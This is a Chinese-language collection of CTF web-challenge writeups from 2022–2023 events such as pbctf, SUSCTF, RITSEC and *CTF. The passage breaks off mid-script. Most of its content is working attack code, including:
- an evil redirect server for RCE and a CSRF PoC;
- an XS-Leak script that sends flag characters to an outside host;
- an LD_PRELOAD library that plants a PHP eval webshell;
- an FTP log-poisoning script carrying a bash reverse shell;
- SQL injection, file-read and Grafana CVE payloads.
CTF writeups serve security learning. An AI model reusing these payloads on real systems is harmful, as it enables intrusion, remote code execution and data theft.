@app.route(\u0026#34;/cdn/\u0026lt;path:url\u0026gt;\u0026#34;) def cdn(url): mimes = [\u0026#34;image/png\u0026#34;, \u0026#34;image/jpeg\u0026#34;, \u0026#34;image/gif\u0026#34;, \u0026#34;image/webp\u0026#34;] r = requests.get(url, stream=True) if r.headers[\u0026#34;Content-Type\u0026#34;] not in mimes: print(\u0026#34;BAD MIME\u0026#34;) return \u0026#34;????\u0026#34;, 400 img_resp = make_response(r.raw.read(), 200) for header in r.headers: if header == \u0026#34;Date\u0026#34; or header == \u0026#34;Server\u0026#34;: continue img_resp.headers[header] = r.headers[header] # 可以设置任意响应头 return img_resp 现在我们构建一个evilserver\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!/usr/bin/python3 from flask import Flask, send_file, make_response app = Flask(__name__) @app.route(\u0026#34;/image.png\u0026#34;) def fakeserver(): response = make_response(send_file(\u0026#34;rce.png\u0026#34;,mimetype=\u0026#39;image/png\u0026#39;)) # rce.png为生成用于绕过image转化的png response.headers[\u0026#39;Content-Type\u0026#39;] = \u0026#39;image/png\u0026#39; return response @app.route(\u0026#34;/image2.png\u0026#34;) def rceserver(): response = make_response() response.headers[\u0026#39;Content-Type\u0026#39;] = \u0026#39;image/png\u0026#39; response.headers[\u0026#39;X-Accel-Redirect\u0026#39;] = \u0026#39;/uploads/be82c42dac96a.png/1.php\u0026#39; return response if __name__ == \u0026#34;__main__\u0026#34;: app.run(debug=True, host=\u0026#34;0.0.0.0\u0026#34; ,port=8083) 然后先上传图片：url=http://my_vps:8083/image.png\n修改 /image2.png路由中的 response.headers[‘X-Accel-Redirect’] 对应部分为上传图片路径\n再RCE：url=http://my_vps:8083/image2.png\n1 2 3 4 5 6 7 34.67.131.140 - - [21/Feb/2023 23:03:08] \u0026#34;GET /image.png HTTP/1.1\u0026#34; 200 - * Detected change in \u0026#39;/home/ubuntu/ctf/pbctf/fakeserver/app.py\u0026#39;, reloading * Restarting with stat * Debugger is active! * Debugger PIN: 914-115-437 34.67.131.140 - - [21/Feb/2023 23:03:25] \u0026#34;GET /image2.png HTTP/1.1\u0026#34; 200 - 34.67.131.140 - - [21/Feb/2023 23:03:26] \u0026#34;GET /image.png?res=pbctf{actually_power_is_the_better_character} HTTP/1.0\u0026#34; 200 - 总结 发现解析漏洞 -\u0026gt; 上传一个图片马 -\u0026gt; 通过cdn internal访问 -\u0026gt; RCE\nThe Mindful Zone 最新版的 zoneminder 0day\napache 2.4.29 解析漏洞\ngit-ls-api ruby\n","date":"2023-02-21T17:46:17Z","permalink":"/2023/02/21/pbctf-2023-writeup/","title":"pbctf 2023 题解"},{"content":"2022 CTF 题解合集 SUSCTF web fxxkcors 登陆页面 需要normal admin 才能看到flag\n猜测需要admin账号才能 提升普通用户为normal admin\n根据 题目 可推 fuckcors 为 一个 跨域攻击\nrobot核心源码 bot 先登陆 admin用户然后会访问我们提交的url\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 const visit = async (browser, url) =\u0026gt;{ let site = process.env.FXXK_SITE ?? \u0026#34;\u0026#34; console.log(`[+]${opt.name}: ${url}`) let renderOpt = {...opt} try { const loginpage = await browser.newPage() await loginpage.goto(site) await loginpage.type(\u0026#34;input[name=username]\u0026#34;, \u0026#34;admin\u0026#34;) await loginpage.type(\u0026#34;input[name=password]\u0026#34;, process.env.FXXK_ADMIN_PASS ?? \u0026#34;\u0026#34;) await Promise.all([ loginpage.click(\u0026#39;button[name=submit]\u0026#39;), loginpage.waitForNavigation({waitUntil: \u0026#39;networkidle0\u0026#39;, timeout: 2000}) ]) await loginpage.goto(\u0026#34;about:blank\u0026#34;) await loginpage.close() const page = await browser.newPage() await page.goto(url, {waitUntil: \u0026#39;networkidle0\u0026#39;, timeout: 2000}) await delay(2000) /// waiting 2 second. console.log(await page.evaluate(() =\u0026gt; document.documentElement.outerHTML)) }catch (e) { console.log(e) renderOpt.message = \u0026#34;error occurred\u0026#34; return renderOpt } renderOpt.message = \u0026#34;admin will view your report soon\u0026#34; return renderOpt } 解题思路：构造一个页面bot点后 自动填写表单 到change.php页面修改我们的账号为normal admin\n用burp 生成的poc 需要修改表单 使之为正常的json数据 放在服务器上把地址提交bot 就成为normal admin了\n1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;html\u0026gt; \u0026lt;!-- CSRF PoC - generated by Burp Suite Professional --\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt;history.pushState(\u0026#39;\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;/\u0026#39;)\u0026lt;/script\u0026gt; \u0026lt;form action=\u0026#34;http://124.71.205.122:10002/changeapi.php\u0026#34; method=\u0026#34;POST\u0026#34; enctype=\u0026#34;text/plain\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#39;{\u0026#34;username\u0026#34;:\u0026#34;l1aoo\u0026#34;,\u0026#34;test\u0026#34;:\u0026#34;\u0026#39; value=\u0026#39;test\u0026#34;}\u0026#39; /\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Submit request\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt; document.forms[0].submit(); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; flag:SUSCTF{fxxK_4h3_c0Rs_oUt}\nez_note 和 fxxkcors 极其相似的bot源码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 const visit = async (browser, path) =\u0026gt;{ let site = process.env.NOTE_SITE ?? \u0026#34;\u0026#34; let url = new URL(path, site) console.log(`[+]${opt.name}: ${url}`) let renderOpt = {...opt} try { const loginpage = await browser.newPage() await loginpage.goto( site+\u0026#34;/signin\u0026#34;) await loginpage.type(\u0026#34;input[name=username]\u0026#34;, \u0026#34;admin\u0026#34;) await loginpage.type(\u0026#34;input[name=password]\u0026#34;, process.env.NOTE_ADMIN_PASS) await Promise.all([ loginpage.click(\u0026#39;button[name=submit]\u0026#39;), loginpage.waitForNavigation({waitUntil: \u0026#39;networkidle0\u0026#39;, timeout: 2000}) ]) await loginpage.goto(\u0026#34;about:blank\u0026#34;) await loginpage.close() const page = await browser.newPage() await page.goto(url.href, {waitUntil: \u0026#39;networkidle0\u0026#39;, timeout: 2000}) await delay(5000) /// waiting 5 second. }catch (e) { console.log(e) renderOpt.message = \u0026#34;error occurred\u0026#34; return renderOpt } renderOpt.message = \u0026#34;admin will view your report soon\u0026#34; return renderOpt } 1 2 3 4 let url = new URL(path, site) //site = http://123.60.29.171:10001/ //path 如果是正常的url地址的话 ，返回的对象url地址为path地址 //所以和上面的bot一样，我们要做的是伪造页面让bot去点 对网站进行一番测试后，发现没有xxs等漏洞\n在 search地方为get传参\n经过测试发现，如果搜索结果为单一会进行一次跳转 跳转到详情页面\nfind only match, redirecting 如果搜索结果不单一则 则直接显示多条结果\njavascript 知识点：open() 方法用于打开一个新的浏览器窗口或查找一个已命名的窗口。 Network Timing | XS-Leaks Wiki (xsleaks.dev) 尝试思路根据打开的页面不同时间也会不同 然而测试结果大差不差所以不能用来注入 查javascript的文档 Window 对象 Window 对象表示浏览器中打开的窗口。 如果文档包含框架（frame 或 iframe 标签），浏览器会为 HTML 文档创建一个 window 对象，并为每个框架创建一个额外的 window 对象。 History 对象 History 对象包含用户（在浏览器窗口中）访问过的 URL。 length\t返回浏览器历史列表中的 URL 数量。 根据我上面说到的搜索结果的区别 会使 访问的url数量不一样，通过这个来进行注入 async函数 async函数是使用async关键字声明的函数。 async函数是AsyncFunction构造函数的实例， 并且其中允许使用await关键字。async和await关键字让我们可以用一种更简洁的方式写出基于Promise的异步行为，而无需刻意地链式调用promise。 python 启http服务 python3 -m http.server 11336 159.138.56.26 - - [28/Feb/2022 16:39:22] \u0026#34;GET /?url=SUSCTF{a_s HTTP/1.1\u0026#34; 200 - 159.138.56.26 - - [28/Feb/2022 16:40:19] \u0026#34;GET /?url=SUSCTF{a_sh HTTP/1.1\u0026#34; 200 - 159.138.56.26 - - [28/Feb/2022 16:40:37] \u0026#34;GET /?url=SUSCTF{a_sh0 HTTP/1.1\u0026#34; 200 - 159.138.56.26 - - [28/Feb/2022 16:40:59] \u0026#34;GET /?url=SUSCTF{a_sh0r HTTP/1.1\u0026#34; 200 - 159.138.56.26 - - [28/Feb/2022 16:41:17] \u0026#34;GET /?url=SUSCTF{a_sh0rt HTTP/1.1\u0026#34; 200 - 159.138.56.26 - - [28/Feb/2022 16:41:32] \u0026#34;GET /?url=SUSCTF{a_sh0rt_ HTTP/1.1\u0026#34; 200 - 159.138.56.26 - - [28/Feb/2022 16:41:51] \u0026#34;GET /?url=SUSCTF{a_sh0rt_f HTTP/1.1\u0026#34; 200 - 159.138.56.26 - - [28/Feb/2022 16:42:23] \u0026#34;GET /?url=SUSCTF{a_sh0rt_fl HTTP/1.1\u0026#34; 200 - 159.138.56.26 - - [28/Feb/2022 16:42:47] \u0026#34;GET /?url=SUSCTF{a_sh0rt_fl4 HTTP/1.1\u0026#34; 200 - 159.138.56.26 - - [28/Feb/2022 16:43:20] \u0026#34;GET /?url=SUSCTF{a_sh0rt_fl4g HTTP/1.1\u0026#34; 200 - 159.138.56.26 - - [28/Feb/2022 16:43:20] \u0026#34;GET /?url=SUSCTF{a_sh0rt_fl4g HTTP/1.1\u0026#34; 200 - 159.138.56.26 - - [28/Feb/2022 16:43:42] \u0026#34;GET /?url=SUSCTF{a_sh0rt_fl4g} HTTP/1.1\u0026#34; 200 - poc: 改了改，一次还是只能注入一个字符，tcl 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; async function asyncCall(char_flag) { var win = open(\u0026#39;http://123.60.29.171:10001/search?q=SUSCTF{a_sh0rt_fl4g\u0026#39; + char_flag); await new Promise(resolve =\u0026gt; setTimeout(resolve, 2000)); win.location = char_flag; await new Promise(resolve =\u0026gt; setTimeout(resolve, 2000)); var l = win.history.length; if (l !== 2) { var test = open(\u0026#34;http://ip/?url=SUSCTF{a_sh0rt_fl4g\u0026#34; + char_flag); console.log(base_char); win.close(); } else{ win.close(); } } async function exp(){ // while(true){ charss = \u0026#34;abcdefghigklmnopqrstuvwxyz0123456789_}\u0026#34;; for (var i = 0; i \u0026lt; charss.length; i++) { asyncCall(charss[i]); //await new Promise(resolve =\u0026gt; setTimeout(resolve, 1000)); } //} } exp(); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; flag:SUSCTF{a_sh0rt_fl4g} HTML practice 𝘦𝘷𝘢𝘭((𝘤𝘩𝘳(61).𝘴𝘱𝘭𝘪𝘵(𝘤𝘩𝘳(61)).𝘱𝘰𝘱()).𝘫𝘰𝘪𝘯((𝘤𝘩𝘳(95)................))) % for a in range(上面一串): hh % endfor flag:SUSCTF{34sY_mak0_w1th_EaSy_nAm3}\ndvCTF web CyberStreak v1.0 [dvCTF](https://dvc.tf/challenges#CyberStreak v1.0-5)\n前端没东西，好像不能注入，，，，迷惑，看起来又像注入。。。跑一下sqlmap？？？??????\n模板？没东西。。。\n看了题解回来补一下\n有一个 flask-unsign 可以用来爆破密钥\n1 2 3 4 5 6 7 8 9 10 PS C:\\WINDOWS\\system32\u0026gt; flask-unsign --unsign --cookie \u0026#39;.eJyrViotTi3KS8xNVbJSSixOwYqUagElLw7b.YjHUCw.i5qm9Q8AXPRpVXcLqhZkcSUcM7Q\u0026#39; [*] Session decodes to: {\u0026#39;username\u0026#39;: \u0026#39;asdasdasdasdasdasdasdasd\u0026#39;} [*] No wordlist selected, falling back to default wordlist.. [*] Starting brute-forcer with 8 threads.. [*] Attempted (1920): -----BEGIN PRIVATE KEY-----lus [+] Found secret key after 15872 attemptsaeyda23a4d64 \u0026#39;s3cr3t\u0026#39; PS C:\\WINDOWS\\system32\u0026gt; flask-unsign --sign --cookie \u0026#34;{\u0026#39;username\u0026#39;: \u0026#39;xXx-michel-xXx\u0026#39;}\u0026#34; --secret \u0026#39;s3cr3t\u0026#39; eyJ1c2VybmFtZSI6InhYeC1taWNoZWwteFh4In0.YjHWeA.l1cxzk_c979gFyGEFKoKrlFtRg4 伪造登陆拿到flag\nUTCTF web Websockets? 想用python模拟 不会\n直接改题目里面的js\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 const WebSocket = require(\u0026#39;ws\u0026#39;); function checkPassword(num) { const socket = new WebSocket(\u0026#34;ws://\u0026#34; + \u0026#34;web1.utctf.live:8651\u0026#34; + \u0026#34;/internal/ws\u0026#34;) socket.addEventListener(\u0026#39;message\u0026#39;, (event) =\u0026gt; { if (event.data == \u0026#34;begin\u0026#34;) { socket.send(\u0026#34;begin\u0026#34;); socket.send(\u0026#34;user \u0026#34; + \u0026#34;admin\u0026#34;) console.log(\u0026#34;pass \u0026#34; + num) socket.send(\u0026#34;pass \u0026#34; + num) } else if (event.data == \u0026#34;baduser\u0026#34;) { console.log(\u0026#34;baduser\u0026#34;); socket.close() } else if (event.data == \u0026#34;badpass\u0026#34;) { console.log(\u0026#34;Incorrect PIN\u0026#34;); socket.close() } else if (event.data.startsWith(\u0026#34;session \u0026#34;)) { var cookie = \u0026#34;flask-session=\u0026#34; + event.data.replace(\u0026#34;session \u0026#34;, \u0026#34;\u0026#34;) + \u0026#34;;\u0026#34;; console.log(num) console.log(cookie) socket.send(\u0026#34;goodbye\u0026#34;) socket.close() // window.location = \u0026#34;/internal/user\u0026#34;; } else { console.log(\u0026#34;Unknown error\u0026#34;); socket.close() } }) } for (var i = 700;i\u0026lt;1000;i++){ checkPassword(i) } 跑出密码登陆获得flag\nHTML2PDF 任意文件读取\n1 2 3 4 5 6 7 8 9 10 11 12 \u0026lt;script\u0026gt;function load(name) { let xhr = new XMLHttpRequest(), okStatus = document.location.protocol === \u0026#34;file:\u0026#34; ? 0 : 200; xhr.open(\u0026#39;GET\u0026#39;, name, false); xhr.overrideMimeType(\u0026#34;text/html;charset=utf-8\u0026#34;); xhr.send(null); return xhr.status === okStatus ? xhr.responseText : null; } let text = load(\u0026#34;/usr/local/app/app.js\u0026#34;); console.log(text); document.write(); \u0026lt;/script\u0026gt; 读到\nWeakPasswordAdmin 爆破一下密码登陆拿到flag\nzer0pts CTF 2022 web Disco Party 非预期：\nhttp://party.ctf.zer0pts.com:8007/post/\u0026lt;string(length=16):id\u0026gt;# 你的vps wp：Disco Party/Festival - zer0pts CTF 2022 - HackMD\nHFCTF web太难了，，哦不我太菜了，学的东西太浅了，赛后复现一下\nezphp 以为要跟dash，，，，想了下上传so，，但是session有杂的东西，，，，nginx post 会在 /proc/pid/fd/fd 下生成临时文件、、、学到了\n贴几个链接https://tttang.com/archive/1384/ 环境变量 ld_preload = /proc/$nginx_work_pid/fd/$fd\n1 2 3 4 5 6 7 8 9 10 11 #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; void payload() { system(\u0026#34;echo \u0026#39;\u0026lt;?php @eval($_POST[1]);?\u0026gt;\u0026#39; \u0026gt; /var/www/html/shell.php\u0026#34;); } int geteuid() { if (getenv(\u0026#34;LD_PRELOAD\u0026#34;) == NULL) { return 0; } unsetenv(\u0026#34;LD_PRELOAD\u0026#34;); payload(); } 1 2 gcc -c -fPIC hack.c -o hack gcc -shared hack -o hack.so 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import threading, requests, sys, time url_target = f\u0026#39;http://1.14.71.254:28644/index.php\u0026#39; nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27] flag = False def upload(): global flag print(\u0026#39;[+] starting upload\u0026#39;) with open(\u0026#34;hack.so\u0026#34;,\u0026#34;rb\u0026#34;) as f: data = f.read() while not flag: requests.get(url = url_target,data=data) def exp(pid): global flag while not flag: print(f\u0026#39;[+] brute loop restarted: {pid}\u0026#39;) for fd in range(4, 32): try: requests.get(url = url_target, params = {\u0026#39;env\u0026#39;: f\u0026#34;LD_PRELOAD=/proc/{pid}/fd/{fd}\u0026#34;}) except: pass def check(): global flag while not flag: print(\u0026#39;[+] starting check\u0026#39;) try: r = requests.get(\u0026#34;http://1.14.71.254:28644/shell.php\u0026#34;) print(r.status_code == 200) if r.status_code == 200: flag = True sys.exit() except: pass time.sleep(3) t3 = threading.Thread(target = check) t3.start() for _ in range(16): t1 = threading.Thread(target = upload) t1.start() for pid in nginx_workers: t2 = threading.Thread(target = exp,args = (pid, )) t2.start() RITSEC CTF Web all kill\nweb php1 替换为空 构造 https://ctf.ritsec.club/php1/index.php?bingus=binbingusgus\nRS{B1ngus_0ur_B3lov3d}\nphp2 去掉 __sleep 构造序列化 Cookie user=O%3A4%3A%22User%22%3A1%3A%7Bs%3A4%3A%22role%22%3Bs%3A5%3A%22Admin%22%3B%7D\nRS{C3re4l_B1ngu5}\nphp3 哈希碰撞 https://ctf.ritsec.club/php3/index.php?input1[]=1\u0026amp;input2[]=2 RS{Th3_H@sh_Sl1ng1ng_5lash3r}\nRITSEC calculator jsfuck debug得到源码 RS{ESOTERIC_GUAVA_SCRIPT}\nReally Cool Encryption fuzz rce\n{php}echo `id`;{/php} 提nm RCE后看一下dockerfile pull一下那个镜像 run一下给flag？？？？ RS{CHANDI_HEADREST}\nDown the Data Streams 给的数据是十六进制，跑下来拼一下是图片就是flag\n不知道有没有好方法，只能硬跑14420次交互，服务器在境外还跑得贼nm慢\nBingus Access fuzz\nGET /bingus-access/index.php?file=%2fvar%2flog%2fvsftpd%2elog HTTP/2 Host: ctf.ritsec.club HTTP/2 200 OK Content-Type: text/html; charset=UTF-8 Date: Sun, 03 Apr 2022 09:33:37 GMT Server: Caddy Server: Apache/2.4.25 (Debian) Vary: Accept-Encoding X-Powered-By: PHP/7.2.1 Content-Length: 1536 Sun Apr 3 09:33:36 2022 [pid 87684] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client \u0026#34;::ffff:89.64.40.149\u0026#34; Sun Apr 3 09:33:36 2022 [pid 87686] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client \u0026#34;::ffff:89.64.40.149\u0026#34; Sun Apr 3 09:33:36 2022 [pid 87664] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client \u0026#34;::ffff:89.64.40.149\u0026#34; Sun Apr 3 09:33:36 2022 [pid 87666] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client \u0026#34;::ffff:89.64.40.149\u0026#34; Sun Apr 3 09:33:36 2022 [pid 87690] CONNECT: Client \u0026#34;::ffff:89.64.40.149\u0026#34; Sun Apr 3 09:33:36 2022 [pid 87668] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client \u0026#34;::ffff:89.64.40.149\u0026#34; Sun Apr 3 09:33:36 2022 [pid 87672] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client \u0026#34;::ffff:89.64.40.149\u0026#34; Sun Apr 3 09:33:36 2022 [pid 87670] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client \u0026#34;::ffff:89.64.40.149\u0026#34; Sun Apr 3 09:33:36 2022 [pid 87658] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client \u0026#34;::ffff:89.64.40.149\u0026#34; Sun Apr 3 09:33:36 2022 [pid 87674] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client \u0026#34;::ffff:89.64.40.149\u0026#34; Sun Apr 3 09:33:36 2022 [pid 87676] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client \u0026#34;::ffff:89.64.40.149\u0026#34; 用户名可控 跑个脚本,把shell弹出来\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from ftplib import FTP ip = \u0026#39;ctf.ritsec.club\u0026#39; port = 2121 def test_ftp(): ftp=FTP() ftp.connect(ip,port) ftp.login(\u0026#39;\u0026lt;?php system(\u0026#34;bash -c \\\u0026#39;exec bash -i \u0026amp;\u0026gt;/dev/tcp/ip/port \u0026lt;\u0026amp;1\\\u0026#39;\u0026#34;);?\u0026gt;\u0026#39;,\u0026#34;123\u0026#34;)#如果是匿名登录，直接ftp.login() files = ftp.dir() # \u0026lt;?php system(\u0026#39;\u0026#39;)?\u0026gt; if __name__ == \u0026#39;__main__\u0026#39;: i = 1 while True: i = i + 1 print(i) try: test_ftp() except: pass HackPack 2022 web TupleCoin source 看robots.txt 有一个back\n核心代码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 class Transaction(BaseModel): from_acct: int to_acct: int num_tuco: float def serialize(self) -\u0026gt; bytes: return (str(self.from_acct) + str(self.to_acct) + str(self.num_tuco)).encode() def sign(self, secret_key: bytes) -\u0026gt; AuthenticatedTransaction: tuco_smash = self.serialize() tuco_hash = hmac.new(secret_key, tuco_smash, \u0026#34;sha256\u0026#34;).hexdigest() return CertifiedTransaction.parse_obj({ \u0026#34;transaction\u0026#34;: { \u0026#34;from_acct\u0026#34;: self.from_acct, \u0026#34;to_acct\u0026#34;: self.to_acct, \u0026#34;num_tuco\u0026#34;: self.num_tuco }, \u0026#34;auth_tag\u0026#34;: tuco_hash, }) class CertifiedTransaction(BaseModel): transaction: Transaction auth_tag: str def verify(self, secret_key: bytes) -\u0026gt; Transaction: recreated = self.transaction.sign(secret_key) if hmac.compare_digest(self.auth_tag, recreated.auth_tag): return self.transaction else: raise ValueError(\u0026#34;invalid authenticated transaction\u0026#34;) @app.post(\u0026#34;/api/transaction/certify\u0026#34;) async def transaction_certify(transaction: Transaction) -\u0026gt; CertifiedTransaction: if transaction.from_acct == TUCO_ACCT_NUM: raise HTTPException(status_code=400, detail=\u0026#34;Ha! You think you can steal from Tuco so easily?!!\u0026#34;) return transaction.sign(SECRET_KEY) @app.post(\u0026#34;/api/transaction/commit\u0026#34;) async def transaction_commit(certified_transaction: CertifiedTransaction) -\u0026gt; str: transaction = certified_transaction.verify(SECRET_KEY) if transaction.from_acct != TUCO_ACCT_NUM: return \u0026#34;OK\u0026#34; else: return FLAG 重点在 def serialize(self) -\u0026gt; bytes:这个函数上 没有分隔，可以拼接parm\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import hmac SECRET_KEY = b\u0026#39;\\x07\\xd8\\xc1\\xef\\xd0\\xc1=\\xc0\\xf8\\xdeJ\\x114\\x83G\\x08C\\xe1m\\xbdX5~\\xac\\x95V\\xd1p\\x7f-SV\u0026#39; class Transaction(): from_acct:int to_acct:int num_tuco:int def __init__(self, from_acct, to_acct, num_tuco): self.from_acct = from_acct self.to_acct = to_acct self.num_tuco = num_tuco def serialize(self) -\u0026gt; bytes: return (str(self.from_acct) + str(self.to_acct) + str(self.num_tuco)).encode() def sign(self): tuco_smash = self.serialize() tuco_hash = hmac.new(SECRET_KEY, tuco_smash, \u0026#34;sha256\u0026#34;).hexdigest() return tuco_hash transaction = Transaction(31415926,51,1) print(transaction.sign()) transaction2 = Transaction(314159265,1,1) print(transaction2.sign()) print(transaction.sign() == transaction2.sign()) 输出\ne7ce89169c2204aed4fb8ebe29ff3792b84d910e5fffe5acca943576a03382cc e7ce89169c2204aed4fb8ebe29ff3792b84d910e5fffe5acca943576a03382cc True 由此可以构造http包\nPOST /api/transaction/certify HTTP/2 Host: tuplecoin.cha.hackpack.club Content-Length: 48 Content-Type: application/json; charset=UTF-8 {\u0026#34;from_acct\u0026#34;:31415926,\u0026#34;to_acct\u0026#34;:51,\u0026#34;num_tuco\u0026#34;:1} 返回\nHTTP/2 200 OK Content-Type: application/json Date: Wed, 13 Apr 2022 11:30:15 GMT Server: uvicorn Content-Length: 144 {\u0026#34;transaction\u0026#34;:{\u0026#34;from_acct\u0026#34;:31415926,\u0026#34;to_acct\u0026#34;:51,\u0026#34;num_tuco\u0026#34;:1.0},\u0026#34;auth_tag\u0026#34;:\u0026#34;90621b5820be300662123ceccdeab62f9fb2c5957e630e0c8da555295ea3c137\u0026#34;} 再构造\nPOST /api/transaction/commit HTTP/2 Host: tuplecoin.cha.hackpack.club Content-Length: 144 Content-Type: application/json; charset=UTF-8 {\u0026#34;transaction\u0026#34;:{\u0026#34;from_acct\u0026#34;:314159265,\u0026#34;to_acct\u0026#34;:1,\u0026#34;num_tuco\u0026#34;:1.0},\u0026#34;auth_tag\u0026#34;:\u0026#34;90621b5820be300662123ceccdeab62f9fb2c5957e630e0c8da555295ea3c137\u0026#34;} 拿到flag\n*CTF [web]babyweb 简单的跳转，，，刚开始没考虑端口，，无语\nexp\n1 2 3 4 5 6 7 \u0026lt;?php function redirect($url) { header(\u0026#34;Location: $url\u0026#34;); exit(); } redirect(\u0026#39;http://127.0.0.1:8089/flag\u0026#39;); 放公网上然后提交对应url，访问返回的download/xxxxx 拿到flag\n*ctf{A_Easy_SSRF_YOU_KNOW} [web]oh-my-grafana CVE-2021-43798 任意文件读取\n读 /etc/grafana/grafana.ini 读取grafana 的默认密码\nadmin_password = 5f989714e132c9b04d4807dafeb10ade\n可以注入\n可以执行任意sql语句\nPOST /api/ds/query HTTP/1.1 Host: 123.60.66.194:3000 Content-Length: 156 accept: application/json, text/plain, */* x-grafana-org-id: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36 content-type: application/json Origin: http://123.60.66.194:3000 Referer: http://123.60.66.194:3000/explore?orgId=1\u0026amp;left=%5B%22now-1h%22,%22now%22,%22MySQL%22,%7B%22refId%22:%22A%22,%22format%22:%22time_series%22,%22timeColumn%22:%22time%22,%22metricColumn%22:%22none%22,%22group%22:%5B%5D,%22where%22:%5B%7B%22type%22:%22macro%22,%22name%22:%22$__timeFilter%22,%22params%22:%5B%5D%7D%5D,%22select%22:%5B%5B%7B%22type%22:%22column%22,%22params%22:%5B%22value%22%5D%7D%5D%5D,%22rawQuery%22:true,%22rawSql%22:%22SELECT%201;%5Cn%22%7D%5D Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: grafana_session=afb5489f3febd540690500b9a60ed890 Connection: close {\u0026#34;queries\u0026#34;:[{\u0026#34;refId\u0026#34;:\u0026#34;A\u0026#34;,\u0026#34;datasourceId\u0026#34;:1,\u0026#34;rawSql\u0026#34;:\u0026#34;select * from fffffflllllllllaaaagggggg\u0026#34;,\u0026#34;format\u0026#34;:\u0026#34;table\u0026#34;}],\u0026#34;from\u0026#34;:\u0026#34;1650100891845\u0026#34;,\u0026#34;to\u0026#34;:\u0026#34;1650104491845\u0026#34;} 翻库找到flag\n*ctf{Upgrade_your_grafAna_now!} [misc]Grey 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/usr/bin/python3 import os import binascii import struct crcbp = open(\u0026#34;useforcheck.png\u0026#34;, \u0026#34;rb\u0026#34;).read() #打开图片 for i in range(2000): for j in range(2000): data = crcbp[12:16] + \\ struct.pack(\u0026#39;\u0026gt;i\u0026#39;, i)+struct.pack(\u0026#39;\u0026gt;i\u0026#39;, j)+crcbp[24:29] crc32 = binascii.crc32(data) \u0026amp; 0xffffffff if(crc32 == 0xa7b63550): #图片当前CRC print(i, j) print(\u0026#39;hex:\u0026#39;, hex(i), hex(j)) 跑一下长宽\n中间一段flag用010打开在文件末尾……\n*CTF{Catch_m3_1F_y0u_cAn} [web]oh-my-notepro http://172.21.198.90:5002/view?note_id=ulcojp87kj7zdh5982couboqnk6rgst2%27 存在sql注入\n报错得到部分源码\n1 2 3 sql = f\u0026#34;select * from notes where note_id=\u0026#39;{note_id}\u0026#39;\u0026#34; print(sql) result = db.session.execute(sql, params={\u0026#34;multi\u0026#34;:True}) http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,'{{7*7}}',123132123;%23 执行任意sql语句并返回结果\npayload:\nhttp://172.21.198.90:5002/view?note_id=1\u0026#39; union select 1,2,3,4,(select group_concat(table_name) from information_schema.tables where table_schema=database());CREATE TABLE IF NOT EXISTS `kxytest2` ( `name` TEXT );load data local infile \u0026#34;C:\\\\Windows\\\\win.ini\u0026#34; into table kxytest2 FIELDS TERMINATED BY \u0026#39;\\n\u0026#39;;%23 http://172.21.198.90:5002/view?note_id=1\u0026#39; union select 1,2,3,4,(select group_concat(name) from kxytest2);%23 任意文件读取\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requests from bs4 import BeautifulSoup import random import string # from pin import solve headers = { \u0026#39;Cookie\u0026#39;:\u0026#39;session=eyJjc3JmX3Rva2VuIjoiOWJjZTdhNWNlNTEyNjJmNzY4N2RjNWU2ZGZhMzYyMWY2ZTU5NTNlNiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.Yl6Xag.U0Md2fed8ubb4rxB45J0y6DJ0R0\u0026#39; } def get_content(filename): print(\u0026#34;[+]readfile: \u0026#34; + filename) ran_str = 